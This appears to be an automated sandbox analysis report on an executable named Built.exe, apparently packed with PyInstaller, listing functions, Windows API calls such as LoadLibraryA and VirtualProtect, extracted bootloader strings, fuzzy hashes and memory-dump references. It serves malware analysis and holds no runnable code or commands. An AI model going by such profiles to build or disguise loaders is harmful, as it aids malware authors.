Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: a795ed73208447fa5404bf791806d1b5ab0409294591b99c6b04a809a5f6f0af
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 01110822F0C24282FE54876AF7442B97292EFA8780F9C9030FB4997B8ECD7DD4C18600

Function 00007FF65E28D010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF65E28D03C
GetCurrentThreadId.KERNEL32 ref: 00007FF65E28D04A
GetCurrentProcessId.KERNEL32 ref: 00007FF65E28D056
QueryPerformanceCounter.KERNEL32 ref: 00007FF65E28D066

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: 28b6f06fade821fdc35c0197755551096ee78f440e3aeaf9ba1cf3d963f9c2c2
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: 3A111C22B54B058AEF008B60EA542A933B4FB69758F480E31EA6D967A8DFB8D1548340

Function 00007FF65E2A5B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65E2A1760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2A1793

_get_daylight.LIBCMT ref: 00007FF65E2A5C34
_get_daylight.LIBCMT ref: 00007FF65E2A5C45

Strings

?, xrefs: 00007FF65E2A5BC5

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction ID: 50074431315e9213d51d17960f48bb7e14178d05f6dcadc29ee860a024b1b92d
Opcode Fuzzy Hash: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction Fuzzy Hash: 15412612A4868242FF249B25E70137B7791EBA0BA4F184239FF9D96ADDDF7CD4818700

Function 00007FF65E299014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E299046

Part of subcall function 00007FF65E29A948: RtlFreeHeap.NTDLL(?,?,?,00007FF65E2A2D22,?,?,?,00007FF65E2A2D5F,?,?,00000000,00007FF65E2A3225,?,?,?,00007FF65E2A3157), ref: 00007FF65E29A95E
Part of subcall function 00007FF65E29A948: GetLastError.KERNEL32(?,?,?,00007FF65E2A2D22,?,?,?,00007FF65E2A2D5F,?,?,00000000,00007FF65E2A3225,?,?,?,00007FF65E2A3157), ref: 00007FF65E29A968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF65E28CBA5), ref: 00007FF65E299064

Strings

C:\Users\user\Desktop\Built.exe, xrefs: 00007FF65E299052

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\Built.exe
API String ID: 3580290477-3826869666
Opcode ID: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction ID: a8791df8b3d554f41b09206c4ad05fa0940acd410ec050f5bb17308f52197703
Opcode Fuzzy Hash: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction Fuzzy Hash: D5416932A08B1286EF149F25DB800B977A4FB647E0B5D6035F94EE3B89DE38E4C58300

Function 00007FF65E29CC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF65E29CD4F
GetLastError.KERNEL32 ref: 00007FF65E29CD71

Strings

U, xrefs: 00007FF65E29CCFB

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: 42255fbd3d729705f1a2fc472068448a668825cddb6025e61b0b412a80e8fa9a
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: 7C41D272B18A4181DB208F25EA453AA77A0FBA8784F485131FE4DE7798EF7CD441CB40

Function 00007FF65E29F5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF65E29F5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF65E29F64A

Strings

:, xrefs: 00007FF65E29F60E

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: d7e4ed55f29cf6b5985c16ba7c582ed18ee62b51760ed1b5a20f115a32bf7e2e
Instruction ID: b06de3966986da1e23a00a28b560b248877f9791e6fbd23f14a5d8a21d3b26d6
Opcode Fuzzy Hash: d7e4ed55f29cf6b5985c16ba7c582ed18ee62b51760ed1b5a20f115a32bf7e2e
Instruction Fuzzy Hash: 2F21D262A1C39181FF609B15D24427D73B1FBA8B84F494035EA9DE3698DFBCE984CB41

Function 00007FF65E28FD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF65E28FD98
RaiseException.KERNEL32 ref: 00007FF65E28FDD9

Strings

csm, xrefs: 00007FF65E28FDC6

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: 1f2f9724976a1de053ebfa66bacaf39a110d45c000bb198927066308da3bc51c
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: B4115E3261CB8582EB218F15EA1025977E5FB98B84F5C4231EB8D57759DF3CC551C700

Function 00007FF65E2A073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2A076C
GetDriveTypeW.KERNEL32 ref: 00007FF65E2A07AC

Strings

:, xrefs: 00007FF65E2A0795

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction ID: 853aa25da386149b73a0321dfcec66a7917eb5f0fafa7951ad475f5efa2f0693
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: 6E018F6291C20786FF20AF60AB6167E33A0EF68744F881436F54DE2689EF7CE5448B15

Analysis Process: Built.exePID: 2536, Parent PID: 2760COMMON

Executed Functions

Function 00007FF65E281000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MEI, xrefs: 00007FF65E283933
bye-runtime-tmpdir, xrefs: 00007FF65E283B68
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF65E283971
pyi-contents-directory, xrefs: 00007FF65E283B8D
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF65E283D35
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF65E283C61
Py_GIL_DISABLED, xrefs: 00007FF65E283AF4
pyi-disable-windowed-traceback, xrefs: 00007FF65E283BB2
Failed to start splash screen!, xrefs: 00007FF65E283ED4
Failed to load splash screen resources!, xrefs: 00007FF65E283E85
_PYI_ARCHIVE_FILE, xrefs: 00007FF65E2838D2, 00007FF65E2839FF
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF65E283EA6
Could not create temporary directory!, xrefs: 00007FF65E283CBF
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF65E283B32
_PYI_SPLASH_IPC, xrefs: 00007FF65E283A23, 00007FF65E283EF5
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF65E283BE8
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF65E283A0B, 00007FF65E283CD4, 00007FF65E283F6B
VCRUNTIME140.dll, xrefs: 00007FF65E283DB1
Failed to convert DLL search path!, xrefs: 00007FF65E283DDC
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF65E283882, 00007FF65E2838AF
pyi-python-flag, xrefs: 00007FF65E283AD6
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF65E283A17, 00007FF65E283A2F, 00007FF65E283A9B
pkg, xrefs: 00007FF65E2839BE
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF65E2839DE
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF65E283E0A
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF65E283D12
Failed to remove temporary directory: %s, xrefs: 00007FF65E283FCF
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF65E283EBB

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: 233ec7f25ec1ed803ce179537cd482b57a2e4efc6b2dbb8e538fcab84ef42543
Instruction ID: c2d361cd21ac02f42fbc834b316bad703b9ea4bbe7922868f994ac3e733a15dd
Opcode Fuzzy Hash: 233ec7f25ec1ed803ce179537cd482b57a2e4efc6b2dbb8e538fcab84ef42543
Instruction Fuzzy Hash: BE327A22A0C78291FE199B25D7552B937A1AF74780F8C4036FA5DE26DEEF6CE558C300

Function 00007FF65E2A6964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF65E2A6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2A66D9
Part of subcall function 00007FF65E2A6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2A6757
Part of subcall function 00007FF65E2A6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2A67A8

CreateFileW.KERNEL32 ref: 00007FF65E2A6A6A
CreateFileW.KERNEL32 ref: 00007FF65E2A6ABA
GetLastError.KERNEL32 ref: 00007FF65E2A6AEA
GetFileType.KERNEL32 ref: 00007FF65E2A6AFF
GetLastError.KERNEL32 ref: 00007FF65E2A6B09
CloseHandle.KERNEL32 ref: 00007FF65E2A6B3C
CloseHandle.KERNEL32 ref: 00007FF65E2A6C9F
CreateFileW.KERNEL32 ref: 00007FF65E2A6CD4
GetLastError.KERNEL32 ref: 00007FF65E2A6CE3

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: d0177ce1be0bee088148b4495f113e7439d53a4f72a89d66a43012e1b8f275c9
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: 09C1B036B28A4285EF10CFA5D6906AC3761FB59B98F095235EE2EE7798CF78D055C300

Function 00007FFD948A5920 Relevance: 9.6, APIs: 4, Strings: 1, Instructions: 900librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFD948A6449
GetProcAddress.KERNEL32 ref: 00007FFD948A6473
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFD948A64FD
VirtualProtect.KERNEL32 ref: 00007FFD948A651B

Strings

t2k, xrefs: 00007FFD948A595B

Memory Dump Source

Source File: 00000004.00000002.2190517375.00007FFD948A5000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00007FFD941F0000, based on PE: true

Associated: 00000004.00000002.2178262539.00007FFD941F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.2178299171.00007FFD941F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.2178299171.00007FFD94492000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.2178299171.00007FFD944A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.2178299171.00007FFD94517000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.2178299171.00007FFD945E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.2178299171.00007FFD946E3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.2178299171.00007FFD946E6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.2178299171.00007FFD947E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.2178299171.00007FFD947EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.2178299171.00007FFD94864000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.2178299171.00007FFD94898000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.2191443635.00007FFD948A7000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd941f0000_Built.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID: t2k
API String ID: 3300690313-2611606847
Opcode ID: 617ab41ac5f6266e776372983bbbdaefdcc3e4856b6ef77c3e23bad832221715
Instruction ID: a060c3c841819272c84194907a97b1649b3d22b526b7e8c3addf851ca7e7a9c1
Opcode Fuzzy Hash: 617ab41ac5f6266e776372983bbbdaefdcc3e4856b6ef77c3e23bad832221715
Instruction Fuzzy Hash: 4E62996272919286E7298F38D49027D77E0F749385F048531EB9ED37C9EABCEA45CB10

Function 00007FFD93B69060 Relevance: 9.6, APIs: 4, Strings: 1, Instructions: 850librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFD93B69B20
GetProcAddress.KERNEL32 ref: 00007FFD93B69B4A
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFD93B69BD4
VirtualProtect.KERNEL32 ref: 00007FFD93B69BF2

Strings

)tP, xrefs: 00007FFD93B6908B

Memory Dump Source

Source File: 00000004.00000002.2178131881.00007FFD93B69000.00000080.00000001.01000000.00000018.sdmp, Offset: 00007FFD93660000, based on PE: true

Associated: 00000004.00000002.2174982730.00007FFD93660000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD93661000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD93672000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD93682000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD93688000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD936D2000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD936E7000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD936F7000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD936FE000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD9370C000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD938EE000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD939D9000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD939DB000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD93A12000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD93A4F000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD93AAA000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD93B1B000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD93B50000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2175008965.00007FFD93B63000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000004.00000002.2178175184.00007FFD93B6A000.00000004.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd93660000_Built.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID: )tP
API String ID: 3300690313-3907340667
Opcode ID: eab163715ab1799b633ac6e81f81b77985ed928b0291ff377fca493afee617fe
Instruction ID: 857542cb36d0e0602d1755a0dae54a30c21be986e4bd72496ac58e257de40e08
Opcode Fuzzy Hash: eab163715ab1799b633ac6e81f81b77985ed928b0291ff377fca493afee617fe
Instruction Fuzzy Hash: E262262272819286E7258F38D8102BD76E5F74879DF045532EADED37C5EA3CEA55CB00

Function 00007FF65E281950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF65E287F90: _fread_nolock.LIBCMT ref: 00007FF65E28803A

_fread_nolock.LIBCMT ref: 00007FF65E281A1B

Part of subcall function 00007FF65E282910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF65E281B6A), ref: 00007FF65E28295E

Strings

MEI, xrefs: 00007FF65E281991
fread, xrefs: 00007FF65E281A32, 00007FF65E281B5C
Error on file., xrefs: 00007FF65E281B8D
malloc, xrefs: 00007FF65E281B22
Could not allocate buffer for TOC!, xrefs: 00007FF65E281B1B
fseek, xrefs: 00007FF65E2819F5
Failed to seek to cookie position!, xrefs: 00007FF65E2819EE
Could not allocate memory for archive structure!, xrefs: 00007FF65E281A61
Could not read full TOC!, xrefs: 00007FF65E281B55
Failed to read cookie!, xrefs: 00007FF65E281A2B
calloc, xrefs: 00007FF65E281A68

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 85b25b29a176bc83ae3a1b74fdbb3e17cfe2198aa0bc5e09dcfbdbd9a14dfb03
Instruction ID: 2955832ee81c1f26e9cabaef6cd2b7726c41183c06a2190047b33413ec606662
Opcode Fuzzy Hash: 85b25b29a176bc83ae3a1b74fdbb3e17cfe2198aa0bc5e09dcfbdbd9a14dfb03
Instruction Fuzzy Hash: D4819D71A0C78686EF209B25D3446B933A1AF68784F484431F98EE778EDE7CE585C741

Function 00007FF65E281470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fread, xrefs: 00007FF65E2815E6
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF65E2815DF
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF65E281518
malloc, xrefs: 00007FF65E28151F
fseek, xrefs: 00007FF65E2814E5
Failed to extract %s: failed to open archive file!, xrefs: 00007FF65E28149F
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF65E2814DE

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
